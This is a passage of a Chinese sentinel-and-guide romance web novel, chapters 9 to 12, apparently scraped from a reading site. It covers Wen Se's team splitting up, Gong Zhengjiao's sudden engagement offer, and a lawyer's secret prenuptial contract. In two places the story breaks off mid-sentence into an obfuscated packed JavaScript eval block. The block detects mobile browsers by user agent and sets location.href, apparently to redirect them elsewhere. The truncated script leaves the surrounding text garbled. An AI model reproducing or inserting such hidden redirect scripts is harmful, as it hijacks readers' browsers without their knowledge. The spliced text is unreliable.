闻璱对这方面没什么研究,但这闻所未闻的说法,实在和闻璱的某些猜想不谋而合。 他之前认为弓铮皎的精神力对自己的病症有效,是因为阿咬似乎曾经“看见过”小黑。 奇怪的是,在同一空间内的闻璱和弓铮皎都无法直接观测的小黑,却出现在阿咬的眼睛倒影里。 闻璱在想,难道弓铮皎的精神力,竟然某种精神力的“桥梁”? 又或许,是“频率”不同。 而弓铮皎此刻的话,似乎又将闻璱的思路引向另一个路口:小黑在吸收弓铮皎的精神力。 毕竟,闻璱从来没感觉到,弓铮皎身上有过逸散出来的精神力。 ……但小黑明明是自己的精神体,为什么要借助或是吸收别人的精神力才能显形? 闻璱有种自家孩子胳膊肘往外拐的郁闷。 印上弓铮皎的目光,闻璱装作新奇的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418158|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“真的吗?还挺神奇的。” 至少在现阶段,他并不打算将自己的情况告诉医生之外的人。 于是,闻璱转而礼貌性地赞了一句:“我也不知道,不过很漂亮。” 指弓铮皎的终端大钻。 弓铮皎顿时被带跑偏了,眼神亮晶晶地说:“真的吗?我自己做的。” 闻璱:? 弓铮皎有些不好意思:“一点点个人爱好,你真有品味。” 闻璱:“……” 婉拒了哈。 弓铮皎突然抬头看向门口:“有人来了。” 果然,下一刻,门铃就响起来。 闻璱奇怪:“是谁?客户刚和我说车被刮了,至少迟半个小时才能到……我真该换个可视门铃了。” 他正要起身去开门,弓铮皎却抬手按住了他肩膀。 闻璱从善如流,微笑着靠回椅子里,等待着弓铮皎的下文。 “狮子、狼,还有一股阴冷潮湿的气息,和一只犯困的鸡。”弓铮皎淡淡道,“是彭枭吧?” 一只犯困的鸡这个说法,闻璱很喜欢。 但听到前面三个描述,闻璱微微皱眉,道:“是彭枭,还有另外几个队员。他们这么快就从污染区回来了?” 弓铮皎问:“开门吗?” 闻璱叹了一声:“我出去说,你……想听就听吧。” 弓铮皎却虚拦了他一把:“你是不是其实很讨厌彭枭?” “现在还说不上讨厌,只是觉得应付他很麻烦。” “那你为什么一直纵容彭枭这样对待你?”弓铮皎皱眉,“就只是为了苟分?” 似乎这也是一种“不自爱”的举动,而弓铮皎更不明白,那点不多的积分怎么就有这么重要。 不愧是顶级富二代的发言,充满了“富贵的天真”。 闻璱甚至怀疑,彭枭引以为傲的背景,甚至没传到弓铮皎的耳朵里过。 面对着弓铮皎,闻璱也没什么好避讳的,坦诚道:“不只是积分,彭枭他爸爸是白塔警卫部部长,恕我一介普通人,暂时还不想以卵击石。” 弓铮皎皱眉:“可你上次和他吵得那么凶,我以为……” “以为已经算是撕破脸了?并不是。”闻璱微笑,“对彭枭来说,这才哪到哪呢?他就是这么一个贱骨头,过不了几天,他还会凑上来的。” “那你还不快刀斩乱麻?”弓铮皎道,“总不能你真的……” 闻璱忽然问:“你猜猜他为什么会突然发疯?” 弓铮皎干巴巴地说:“他贱呗。” 闻璱一挑眉,点头道:“这倒没错,他确实贱,但也有我的原因。” “白塔上个月新规,所有单身向导必须参加联谊活动,否则在个人排行榜上会积分降权。” 时至今日,说起这事,闻璱仍然对这项新规十分不满。 形势比人强,但上有政策下有对策,闻璱也有的是应付糊弄的办法。 “我让彭枭陪我去参加了,当然,事前我们说好只是装个样子。”闻璱耸了耸肩,“大概是我装得太好了,让他觉得他真的有戏?” 弓铮皎偏心地想:肯定是彭枭自我感觉太良好。 “总之,论坛上那些讨论只有他会在意,并没有影响到我的生活。” 闻璱说着,眉头轻轻一蹙。 他突然觉得话似乎也不能这么说,毕竟污染区里刚发生了矛盾,现在还真说不好,是不是和自己有关。 但弓铮皎忍不住问:“为什么不让逄靥星陪你?” 他酸溜溜地想:难道真的是为了避嫌?但是,就算是前男友,这个忙总是可以帮的吧? 闻璱却道:“我们俩不合适。再说,他大概也无所谓那点积分。” “你倒是很了解他。” 这话就有些酸气扑鼻了。 闻璱并不解释:“我们认识快十年了,我最了解他的地方,你还不知道呢。” 果然,弓铮皎立刻追问:“什么?” 闻璱似笑非笑地看着他,不说话了。 这是闻璱的私事,说不说、说多少,都是闻璱的自由。 这半个多月互为工作室香氛蜡烛的时间,其实并没有对闻璱和弓铮皎之间的关系,产生什么实质上的改变。 他们似乎互相观察、更了解彼此——但仅限于对“各取所需”的熟悉加深。 弓铮皎真正意义上试探到闻璱的私人生活,其实只有把聊天记录转发给闻璱之后,那短短几句话。 而闻璱是真的对弓铮皎的私事从不过问,仿佛除了获取精神力样本,他对弓铮皎没有任何好奇和所求。 偏偏不幸的是,意识到这一点的时候,弓铮皎感觉喉咙发麻,还有些牙痒痒。 不是愤怒在作祟,而是一种狩猎的欲望,在他的血管里流淌,蠢蠢欲动地叫嚣着。 但是…… 弓铮皎说:“我有办法能帮你,一劳永逸,你以后都不用担心会被彭枭纠缠,也不会被降权。” 闻璱一副洗耳恭听的样子。 他认真地看着闻璱,语出惊人:“和我订婚。” 10. 第 10 章 门铃又响了。 闻璱眨了眨眼睛,缓缓问:“你是有什么大病吗?” 如果不是有什么不能通过婚检的遗传病,弓铮皎为什么要把自己贱卖了? 弓铮皎连忙补充道:“只是订婚,你不用担心,也别误会,我不会要求你做任何事。” 这解释反而更可疑了。 闻璱可没忘记,弓铮皎跟自己根本不是一个阶级的。 这位富家公子哥爱做慈善、爱“救风尘”满足一下大哨兵主义、还是单纯的爱当怨种、爱干什么都好,但是,谁会真的蠢到把自己的的“婚姻大事”也搭出去? 闻璱只知道一个道理:无利不起早。 要么弓铮皎真的是个疯子,要么弓铮皎想要索取的东西比这更高。当然,也可能二者皆有。 他微微笑了:“做到这个地步,至于吗?” 门铃声第三次响起,显然外面的人耐心即将告罄,现在并不是深入讨论这个问题的好时候。 闻璱抬手轻轻拍过弓铮皎手臂,算是一种停止话题的暗示,然后开门独自出去。 不过,他也知道,隔音门根本无法阻拦顶级哨兵的听觉。 门外,彭枭带着另外三个哨兵已经等得有些不耐烦。 尤其是在见到闻璱出现之后,立刻像上次一样反手带上了门,彭枭的脸色更是黑上加黑。 “谁在屋里?”彭枭问。 闻璱就当没听到,视线依次扫过彭枭身后。 三个哨兵都曾是闻璱招揽来的朋友,此刻神态各异。 其中,苔原狼哨兵悄悄对彭枭的后脑勺翻了个白眼,算是表明了自己的态度。 闻璱开口时,声音还算轻快:“什么事?” 苔原狼哨兵道:“胖队说……” 话没说完,彭枭打断她的话,眼睛死死盯着闻璱,咬牙切齿地又问了一遍:“谁在屋里?我问你,你又藏了谁?” 闻璱面不改色:“客户。” “还装?”彭枭冷笑一声,“你的客户还在修车厂呢。” 闻璱这才稍沉了脸色,冷冷道:“你找人刮他的车?能别这么幼稚吗?” “没找人,他亲自去的。”苔原狼哨兵补充了一句,“比你想象的还幼稚。” 弱智的伎俩惨遭“自己人”戳破,彭枭自觉没面,立刻回头瞪了苔原狼哨兵一眼。 苔原狼哨兵却不怕他,干脆挤在彭枭和闻璱的另一侧,隐隐在玄关处狭窄的空间形成三足鼎立之势。 她双臂环胸,不耐烦道:“彭枭,我不关心你又想搞什么幺蛾子,我是来处理正事的,别浪费我的时间。” 闻璱也点点头,问苔原狼哨兵:“在污染区到底发生了什么?” “彭枭和小冬落单,小冬受了伤,说彭枭对他动手,彭枭说没有。他俩一直僵持着,谁也说服不了谁,就只能分开了。” 苔原狼哨兵说着又翻了个白眼,似乎完全不能理解,为什么两个任务经验丰富的成年特种人,居然能像俩三岁小孩一样互扯头花,还为这种小事闹成这样。 小冬就是队伍分裂之后,跟逄靥星继续进行任务的向导,也是闻璱脱队后队伍里唯一一个向导。 闻璱也觉得匪夷所思:“小冬伤得重吗?” “不重,再晚喊两声都要愈合了。”苔原狼哨兵补充了一句,“这件事,小冬其实没有证据,我们都希望任务优先,但是胖队站小冬,非要彭枭认错。” 闻璱蹙眉:“逄靥星就是这么处理事情的?” 一直在旁边没插嘴的银环蛇哨兵不满道:“小冬都哭鼻子了,胖队还能说什么?” 苔原狼哨兵也点点头,似乎也认为逄靥星是出于私心而这样决定,对此不敢苟同。 彭枭张了张嘴,把原本要辩解的话咽了回去。 他突然觉得这样也不错,对比显得逄靥星冲动用事,而他忍气吞声,高下立判。 结果,好半天也没人说彭枭想听的话,彭枭实在忍耐不住,假装中肯地说:“不谈我们间的个人恩怨,逄靥星根本不适合做副队长。” 可他的心里话昭然若揭:适合做副队长的人是他彭枭。 闻璱没给他一个眼神,看向另外三个哨兵:“所以,你们今天来找我,是认为应该由彭枭来做这个副队长?” 见闻璱如此顺着自己的意,彭枭没出声,但得意的表情已经是比说再多话都直接的认可。 苔原狼哨兵和银环蛇哨兵却异口同声道:“不是。” 两人对视一眼,苔原狼哨兵说:“彭枭是这个意思,但我不支持彭枭,我今天来,只是单纯地想跟你说一声,我们俩打算退出了。” 闻璱一怔,就听苔原狼哨兵立刻解释道:“不是因为这件事,是私人原因,闻队你也别问,我不想说。” 话都说到了这个地步,闻璱也只能点头:“好吧,改天我们找个时间一起去登记。祝你们以后一切顺利。” “当然。”苔原狼哨兵道:“以后我们也还是朋友,有事随时找。” 银环蛇哨兵也做了个打电话的手势。 两人说完自己的话,也不管彭枭又是怪话连篇又是跳脚,一起走了。 闻璱忽略彭枭,看向一直冷眼旁观的金狮哨兵:“那你呢?” 金狮哨兵瞟了一眼疯狂使眼色的彭枭,最终咬了咬牙,还是道:“我、我只是想来找你问问。” “闻队,论坛上那些流言到底是不是真的?你到底有没有……”金狮哨兵话没问完,自己也觉得自己这样显得很不够意思,声音渐渐小了。 因为闻璱定定地看着他。 正因为他们曾是队友,金狮哨兵知道,闻璱这样是真的有些生气了。 也正因为他们曾经并肩作战,这个眼神才会让金狮哨兵紧张得冷汗直流——他清楚,眼前的闻璱可和刻板印象中向导该有的感性、柔弱,毫不相干。 在闻璱平静而稍嫌冷漠的目光中,金狮哨兵低声说:“你很久没有参加任务了,就是因为这样……来钱更快?” 闻璱定定地看着他,一字一顿道:“我没有做过那些事。” 至于不参加任务,是因为拟态孤独症。 但是,或许是出于某种不想看到他人“怜悯”目光的心理,闻璱没有把得病的事告诉任何人。 “那你为什么不去澄清一下?这些天,论坛上都在讨论,还有很多朋友来问我,我觉得很尴尬。而且以我们的关系,就算你真的做了那种事,也没必要瞒着我们,我们又不像彭枭那么小心眼。”金狮哨兵道。 一旁的始作俑者彭枭顿时瞪大了眼睛,没想到他竟然这么说。 闻璱也没想到,他不质问始作俑者为什么要这样做,反而来质问自己,为什么不去自证一件莫须有的事情。 他不再看金狮哨兵,转而问彭枭:“你到底有没有对小冬做什么?” “没有!他是什么很好欺负的软柿子吗?我怎么敢打他!”彭枭不敢置信,“而且大家都说了他没有证据,你还来质问我?你就这么偏心他和逄靥星?” 闻璱对他说:“我只是单纯不相信你。” 彭枭刚要辩解,闻璱淡淡道:“既然大家各自都有想法,天下无不散之筵席,我们也不例外,这个队伍就到此为止吧,祝你以后也顺利。” 金狮哨兵没想到是这个结果,立刻道:“我不是这个意思,我……” 显然,金狮哨兵还想和闻璱呆在一个小队里。 “是解散,还是我和逄靥星退队,这件事还要等逄靥星和小冬回来之后再说。”闻璱一锤定音。 “我还有事,不招待了。”他敲了敲自己的门板,意有所指,“就像你们认为的,我要准备‘开张’了。” 金狮哨兵欲言又止片刻,终究抵不过闻璱目光的压力,即便知道这只是送客的说辞,还是麻利走了。 彭枭却还赖在门口,好半天憋出来三个字:“对不起。” “接受了。”闻璱还是和上次一样的态度,“立刻滚。” “我只是想和你好好聊聊,你我心知肚明,你的客户还在修车厂,你根本开张不了。”彭枭好声好气道。 但说到这里,彭枭脑袋里又回放起闻璱出来之后,立刻关门的动作,语气急转直下:“等等,你在屋里藏了人对不对?是谁?这么早就来了?不对……难道他昨天晚上就没走?” 彭枭越说越被自己的臆想气得脸色铁青。 闻璱早习惯了他的变脸绝技。 反正客户也来不了,不用操心被彭枭堵在门口,闻璱拉开门闪身进屋。 尽管这套开门、闪进屋、关门的动作一气呵成,已经十分迅速,但还是比彭枭慢了一步。 彭枭把手臂卡进门缝,摆明了要耍赖到底。 而这招也确实有效,闻璱不心疼他那只手……却不敢在房东面前,真的让彭枭把门挤坏。 好在房东自己财大气粗,不在意这扇门。 “嗵”地一声,一只手拧着那节硬卡进来的小臂推开门,直接把彭枭扔下玄关,推进了拐角放置垃圾箱的小巷里。 紧接着,还有一袋封口没抽紧的垃圾,跟着一起被丢出来,砸在彭枭脸上。 袋口散开,垃圾挂了彭枭一身。 看着彭大公子成功cosplay流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着,又递来一个密封袋,让弓铮皎可以把自己的鞋子打包好。 弓铮皎心道:其实也没有那么敏感。 毕竟,对“竞争者”和“手下败将”的态度,自然是天差地别。 低下头换鞋时,弓铮皎耳边又传来闻璱的声音:“今天谢谢你。” “没关系。”他一边打包自己的鞋,一边又提起之前的话题,“我之前跟你说的事,你可以考虑一下。不着急,但最好尽快吧。” 他一向是茅盾文学家,不过这次事出有因,毕竟彭枭确实阴魂不散。 只不过,有的条件闻璱永远不可能接受,相应的,也没有花时间考虑的必要。 闻璱没有出声,但似乎不出声已是一种回答。 等弓铮皎收拾好之后,闻璱温和道:“下周逄靥星应该就回来了,你也听到了,到时候我要去白塔和公会办手续,所以,那几天都不会安排工作。” 当然,也不会出现在工作室。 也就是说,下周弓铮皎也放假了。 闻璱说这话似乎也并不是为了威胁,他顿了顿,又道:“向导素还够用吗?或者,我也可以提前给你再调整一下感官。” 他总是体贴地,不会用涉及哨兵健康的事情来威胁弓铮皎。 但是,也很无情地在保证弓铮皎健康的情况下,拉开他们之间仿佛才近了一小步的距离。 弓铮皎沉默片刻,知道是自己这一步棋走得冒犯了。 可是,玩拉扯,他又怎么可能是闻璱的对手。 他轻抿薄唇,突然问:“下午能休息吗?还有明天,可能还有后天,甚至这整周。” “我有些事想跟你说。”弓铮皎缓缓抬起头,认真地看着闻璱,“去我家,好不好?” 这本来是个很暧昧的邀请,就像是“到被窝里来,给你看看我的夜光手表”。 刚被烂桃花纠缠过的闻璱更不是一个这样单纯的蠢货。 更何况,弓铮皎还是一个背景很大、对向导素有非正常需求的S级哨兵。 无论从哪个角度出发,闻璱都觉得自己应该婉拒。 ……如果弓铮皎不是又用那种渴望的目光看着自己的话。 那蓝紫色的眼睛里是再直白不过的贪婪、是渴望。 但与性、或是其他的什么的索求都无关。 仿佛只是垂死之人挣扎着——甚至只是在生命最后的时间,想要吃一口冰激凌的那种贪婪和渴望。 11. 第 11 章 闻璱最终没有给出答复。 因为,只不过是他思索迟疑的片刻功夫,弓铮皎又改了口:“还是算了。我突然想起来家里没收拾。周末吧,等我收拾一下房间再邀请你。” 看起来有些心虚,又似乎很诚挚,纯真得好像真的只是想给闻璱看看他的夜光手表。 闻璱微一挑眉,淡淡道:“我可能没空,到时再看吧。” 这场不尴不尬的对话结束之后,弓铮皎不再多留,很快就上楼回家。 直到下午的工作结束,闻璱准备回宿舍,弓铮皎也没有再出现。 临走前,闻璱鬼使神差地抬头看了一眼。 智能玻璃很好地保护着屋里人的隐私,连一丝细微的光都没有透出来,更别说叫人看出窗前是否有一道身影。 但不知为何,闻璱总觉得,玻璃的另一面,应该有一双蓝紫色的眼睛,久久地凝视着自己。 到宿舍之后,屋里又是满地水迹。 闻璱想发火也找不到犯罪嫌疑人,只能隐忍地打扫卫生。 洗抹布的时候,他才想起来手上多了一样稍显名贵的首饰。他摘下手链,随手放在一边。 等到大扫除完毕,闻璱也是一身薄汗。 他快速冲了个澡,从狭窄的浴室里出来,想起来要把手链重新戴上时,发现洗手台上空空如也。 闻璱还以为是自己打扫时顺手转移了手链,他一边擦头发,一边推开洗手间的门,打算再找找看。 浴室里空气闷热,熏的人头脑发昏,门一打开,闻璱就被微冷的风吹得精神抖擞。 书桌前的窗户大敞,而那串手链飘在空中。 闻璱看去时,手链飘得更高了一些,然后突然掉回桌面,发出清脆的响声。 月光下,这闹鬼般的场景别有一番惊悚的唯美。 但闻璱立刻反应过来,是小黑。 他丢下毛巾,立刻冲到桌前,对着空气伸出手,试探着想要触摸小黑。 然而,什么都没有发生,仿佛刚才的一切都只是闻璱的错觉。 说不失望是假的。 只是,闻璱患病已经两年多,即便一开始再不愿接受这件事,现在也已经被现实毒打得不得不接受了。 他在桌前坐下,罕见地放空大脑,发了一会呆,才把手链拿起来重新戴上。 终端一直在震动,闻璱好半天才拿起来,慢吞吞地点开这些扰人的消息。 没想到发消息的人竟然是苔原狼哨兵,权冽。 权冽一向话少,且不八卦、最讨厌麻烦,闻璱和她认识七八年了,也没怎么在社交媒体上聊过天。 而现在,她竟然发来十几条消息轰炸闻璱。 闻璱点开一看,顿时也愣了。 十几张多数是照片,拍照人手抖得像是用筋膜枪拿着终端,照片被隐私保护自动打码之后,更是乱七八糟。 只能勉强看出,似乎是什么事故现场被白塔警卫封锁,很多路人围在周边。 翻看照片时,权冽又发来几条文字消息。 孤傲的狼:【和朋友散步时拍到的。】 孤傲的狼:【听说是有哨兵和普通人之间的斗殴流血事件,整栋楼都被封了。】 闻璱总觉得哪里有点不对劲,但更多的是奇怪:斗殴就斗殴,跟自己有什么关系。再说,权冽什么时候开始爱凑这种热闹了? 孤傲的狼:【这不是你工作室吗?】 闻璱:! 终于知道这莫名的熟悉感从何而来,原来事发地点是他的工作室! 那关系可就大了。 闻璱:【怎么回事?】 孤傲的狼:【不知道,不过应该没什么大事,据说人已经被拉到白塔了。】 闻璱:【我是说我的工作室没事吧?我现在过去。】 孤傲的狼:【那可能有点事,你应该不用来了。】 孤傲的狼发来一张新拍的照片。 还是那么手抖,硬生生把张贴的封锁公告拍出了摄魂怪在吸魂的效果。 闻璱放大图片,艰难地看出来几个字:调查期间封禁。 调查期间,封禁。 署名是警卫队。 一时间,闻璱也忍不住起疑——不会真的是彭枭在搞鬼吧?上午挨了揍,晚上警卫队就来封楼。 可他无论如何也想不通,弓铮皎不是传说中比彭枭更不可说的“二代”吗? 不论如何,闻璱得亲自过去看一眼。 下楼梯的时候,闻璱歪着脖子夹住终端,拨通了弓铮皎的通话。 果然,连着两次都是无人接听,看来斗殴事件中的哨兵方是谁,已经破案了。 虽然闻璱还不太确定,这到底是真的假的。 如果是真的,为什么才一个下午没见,弓铮皎就突然和一个普通人斗殴,还被带走了? 他倒是不担心弓铮皎的人生安全,S级哨兵又不是地里的白菜,哪来那么多能和弓铮皎碰一碰的猛人。 闻璱转而切到小号,开始挨个给客户发消息告知此事。 幸好快到周末了,已定下时间的客户不多,这也确实算是个“不可抗力”事件,多数哨兵在得知之后果断接受了致歉和取消的安排。 地铁已经停运,闻璱只能扫了一辆自行车骑到车站,又坐夜班公交车辗转到了工作室。 等到达工作室时,已是大半夜。 果然,离还有近百米距离就已经被限制进入,此刻仍然有几个好事人群在警戒带外张望。 闻璱混在其中,随便找了个路人问:“这是怎么了?” “听说是有特种人对普通人的暴力事件,警卫部的人也才刚走。” “性质这么恶劣啊,怎么回事?” “好像是小偷入室盗窃,被哨兵房主抓住了暴打。” “就算是入室盗窃,特种人也不能这样吧?对面可是普通人。” “果然这些暴力分子应该和普通人隔离。” 入室盗窃? 就弓铮皎那感官能力,哪来的小偷能偷摸进弓铮皎的家?确定是普通人不是三体人吗? 闻璱大受震撼,结果挤进去一看,发现封锁公告上竟然真的是这样写的。 逗留片刻,闻璱确定现场确实打听不到其他消息,便转道走去白塔。 也多亏这里离白塔很近,不过十分钟,闻璱就到达白塔,但因为没有许可,被挡在警务中心门口。 闻璱对此倒不大意外,思考的功夫,他拿出终端顺手又给弓铮皎拨了一个通话。 刚播出去,他竟然听到嗡嗡的震动声从不远处传来。 只见警务中心的办公桌后,一个西装革履的男人拿着弓铮皎那个浮夸得耀眼的终端,四下环顾一周,和闻璱的目光对上了。 闻璱挂了通话,看着西装男向自己走来。 他敏感地察觉到,西装男身上并没有特种人该有的精神力波动,也就是说,这是一个普通人。 “您是弓先生的朋友?”西装男礼貌地伸出手,“您好,我姓张,是弓先生的律师,请您跟我来。” 闻璱轻轻地握了一下手:“叫我闻璱就行。” 有张律师带路,这一次,闻璱没有再遭到任何阻拦。 穿过长长的走廊和通道,直到进入一部沉重的电梯,闻璱心里一沉。 闻璱此前没有进入过警务中心,但这部特殊电梯,在整个白塔的所有设施都有搭建,只通向一个地方——疗愈中心。 也就是哨兵们口中的“小黑屋”。 张律师注意到闻璱脸色微变,却仍然什么都没有问,忍不住道:“您似乎不好奇发生了什么?” “好奇。”闻璱说,“那您能告诉我吗?” 张律师面露无奈:“抱歉,暂时还不行。” 电梯在沉默中停下,工业风的大门缓缓打开,疗愈中心到了。 闻璱跟在张律师身后,缓缓步入这片昏暗而狭长的走廊。 地板上铺了消音效果很好的地毯,环境安静得闻璱几乎只能听到行走之间,自己衣物的摩擦声。 之所以被称为小黑屋,其实就是因为这里符合一切小黑屋的特征。 安静、黑暗、封闭。 整个设施都为了“照顾”哨兵敏锐的五感而建造。 而在这条走廊的末端,连接着许多个单独的特殊静音室。 与其他设施中,用脸就能刷开的寻常静音室相比,小黑屋的区别在于,其中搭载了次声波武器,以便能够在最紧张的情况下,把实在无法被控制哨兵和精神体无害化处理。 当然,这是实在没有其他办法的最终手段。 张律师带闻璱在疗愈中心的总导诊台处进行登记,并领取了专门的收音麦。 外观看起来很像是口罩,但使用特殊材料制作,兼具过滤和隔音的效果,说话声会通过贴在耳朵上的通讯器传导。 见闻璱佩戴的动作十分熟练,张律师问:“闻先生,您来过这里?” “这里的全称是特种人疗愈中心,向导也是特种人。”闻璱道。 “抱歉,我以为只有哨兵会是这里的常客。” 从总 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闻璱却问:“那栋楼也要等他出来了才会解封?” “其实是因为……呃,目前来看,是的。”张律师险些没能悬崖勒马住原本的话。 “出了这种情况,影响到我的工作,是不是该赔我误工费?”闻璱看向张律师,“张律师,您能帮我进去问问他吗?” 张律师惊讶道:“我还以为您是因为关心弓先生的情况,才会来到这里的。” “他很需要谁的关心吗?我不觉得。”闻璱缓缓道,“你拿着他的终端坐在警务中心,就是为了等到有一个人来关心他?” “不,我只是……” “有话直说吧,张律师,别跟我兜圈子了。”闻璱道。 张律师沉默片刻,终于道:“好吧,我还以为向导都会比较感性,您和我所接触过的向导很不一样。” 顿了片刻,张律师又说:“您可能还不太了解我的立场,其实,我的老板并不是弓铮皎先生。” 说着,张律师从胸口抽出一张名片递给闻璱。 名片是烫金的,特定字迹做了荧光处理,闻璱清楚地看到张律师的名字下面,写着“希冕创辉”几个字。 希冕创辉,生物制药行业的寡头,也是白塔和公会的主要投资方。 但是,希冕创辉应该只有一些特种人相关的实验项目,为什么一个特种人与普通人斗殴的社会事件,会引起希冕创辉的关注? 而且,据闻璱所知,希冕创辉是绝对的以普通人为主的公司,公司高管普通人占比高达百分之百,更不用说创始人和目前的…… 目前的董事长,姓宫。 闻璱一怔,终于明白了为什么,也知道了弓铮皎那大到甚至没人敢直说的背景。 张律师时刻关注着闻璱,当然没有错过闻璱一时怔愣的表情。 他缓缓道:“您心里清楚就好,请不要说出去。” 闻璱只觉得这话实在多此一举,看看论坛上之前那些讨论,自己恐怕才是最后一个知道这件事的人。 更何况,从“宫”改成“弓”,简直是不怕人猜不到,大家都只是心照不宣而已。 不过,希冕创辉需要的,或许也就是这种“不宣”。 一个曾经大放异彩的前任首席哨兵,令开展特种人相关项目时阻力更小,更容易被信任。 明面上,公司的形象不受影响,即便风言风语再如何受人关注,只要不承认,必要时,就可以用“巧合而已”来撇清关系。 但闻璱反而更困惑了,弓铮皎其实是不能暴露的财阀之子,所以呢? 难道就是为了证明“天子犯法与庶民同罪”,连甲方家的孩子触犯规定,都会被强制关入疗愈中心,可见白塔实在公平公正? 简直是莫名其妙…… 面对闻璱露出的一丝费解,张律师终于满意了。 他打开公文包,拿出一份文件递给闻璱,郑重道:“我受弓先生的叔叔委托而来,希望您能接受这份合同。” 闻璱翻开第一页,就又一次被狠狠地震撼在原地。 只见上面几个荧光的大字:婚前财产协议。 “我老板希望您能和弓先生缔结一段亲密的关系,当然,这份协议对您并没有任何限制和损伤,您反而会从中获利。不过,请不要让弓先生知道这份合同的存在。” “简而言之,”张律师推了推眼镜,“我老板希望您可以和弓先生尽快成婚。” 12. 第 12 章 天上掉“馅饼”的事一二再、再而三地发生,以至于闻璱不禁开始怀疑,难道自己长得像个盘子? 闻璱迅速浏览过合同,发现条款真的诚如张律师所言,看起来没有一条对自己有害,反而白纸黑字写下:弓铮皎死后,闻璱作为合法配偶可以继承弓铮皎的全部遗产。 闻璱不会认为是张律师的老板慈悲为怀,只会认为财阀的法律咨询团队实在缜密,连挖坑都如此天衣无缝,令人无法察觉。 但他还是忍不住问:“张律师,到底是你疯了,还是你老板疯了?” 张律师呵呵笑道:“我就知道您会意外,这很正常。” 他操控面板关闭了可视模式,反正闻璱和他都什么也看不到。 “无事献殷勤,非奸即盗,我非常理解您对此感到防备。但您不妨也想一想,您又有什么是值得我们谋求的呢?” 话语尖锐,但确实是事实。 闻璱并不否认,一边翻看合同,一边听张律师继续。 “说实话,我老板并不在意您,但他是一个怜惜孩子的长辈。”张律师道,“弓铮皎先生特种人的身份敏感,以至于他不得不成为一个‘见不得光的私生子’,也无法继承任何公司相关的财产,甚至连姓都不能保留,对此,我老板深感歉疚。所以,在其他方面,我老板希望能够满足他的所有需求,比如您。” 张律师微微一笑:“弓铮皎先生很喜欢您,这就是这份合同会被拟定的唯一原因。” “是吗?”闻璱不置可否。 他觉得张律师似乎也不太了解弓铮皎的样子。 “所以这些天,你找人监视我?” 如果确有此事,弓铮皎肯定不会察觉不到,闻璱将立刻判处他“知情不报”的罪名。 “哦,您误会了,有些事并不需要监视。”张律师推了推眼镜。 “您可能觉得,和弓铮皎先生才认识不久,但其实,弓铮皎先生已经默默关注您很长时间了。但您不用害怕,他并没有任何过激行为,只是一个不知道该如何表达爱的孩子。” 一个二十八岁的大孩子……闻璱听得甚至想笑。 “我说这些话,只是为了让您相信,弓铮皎先生确实对您很感兴趣。您也不用担心以后的事,即使弓铮皎先生变心、要求离婚,您也会按照法律程序,顺利分得一半的婚内财产。” 说着,张律师示意闻璱翻到某一页,清单洋洋洒洒地列出了新婚礼物。 “即便这场婚姻只存续了一个月,您也能获得这上面一半的资产,这对您来说,无论如何都亏不到。” 闻璱挑了挑眉毛:“花好几个亿找人陪弓铮皎扮家家酒,把这件事说得这么功利,就不怕伤感情?” 张律师笑了:“您说笑了,您对弓铮皎先生并没有什么感情,这一点刚才我已经亲自确认。既然如此,通过金钱来培养您对弓铮皎先生的爱意,未尝不可。” 张律师似乎完全不觉得自己的话有什么不对,转而道:“请理解我已调查过您的信息,您罹患某种罕见病,治疗费用高昂,为此您已经散尽家财,仍然杯水车薪。” 闻璱笑容微敛。 果然,张律师继续道:“您差的不只是钱财,还有技术,而这恰好是我老板拥有话语权的领域。希冕创辉愿意为您的病症创立专门的基金会,并邀请专家加入——只要您能让弓铮皎先生开心。” 如果巨款不能换来感情,那救命的恩惠呢? 闻璱淡淡道:“万一我演太好,但病情恶化,死在他最爱我的时候,让他悲痛一生,又怎么办?” “您真风趣。”张律师笑道,“关于这一点,您也大可以放心,您的病症即便暂时无法寻找到根治的办法,但以我老板的能力,绝对有信心让您长命百岁。” “而且,是健全且不受病痛困扰地活下去,至少维持住您现在的状态,不会让您沦落得人模鬼样。”张律师又补充了一句,“毕竟,那样弓铮皎先生也会难过的,他没有什么大志向,只是想组建一个幸福的家庭,这也是我老板最想要补偿他的地方。” 这听起来实在是一本万利,让人忍不住羡慕,原来有钱人家的小孩真的可以同时拥有钱和爱。 闻璱垂下眼眸,不知是被真情还是金钱打动了几分。 他心里清楚,杀猪盘如果做到如此完善的地步,一定是从中攫取的利益更多。 弓铮皎如此,希冕创辉,只会更深不可测。 昏暗的环境里,连手链上那颗本来很亮的的宝石都显得雾蒙蒙。 闻璱道:“让我考虑考虑吧。” 在张律师的眼里,这无非是一个故作矜持的举动。 他调查过闻璱的信息,判断闻璱没有出卖身体,并不是因为品性高洁,而是因为以闻璱的能力,安抚哨兵比当鸭子来钱更快,也更轻松、安全。 可见闻璱为了钱应当是不择手段的——虽然是为了治病。 总而言之,张律师并不认为闻璱真的会拒绝。 他点点头,微笑道:“随时期待您的答复。” 说着,他拿出弓铮皎的终端晃了晃,示意闻璱可以直接拨通弓铮皎的通话来联络他。 到此为止,这件事在张律师看来已经算是完成了90%,只差闻璱拉下脸这最后一个节点。 张律师转头就准备走,迈出几步远,却发现并没有人跟上来。 他回过头,闻璱还站在房间门口,夹着合同,眼睛却看向小黑屋的门。 “闻先生?”张律师提醒了一句。 “刚才忘了问,”闻璱说,“他是为什么进来的来着?” 张律师笑了一声:“您这就开始关心他了,真是随机应变,这样也很好。” “谢谢。” 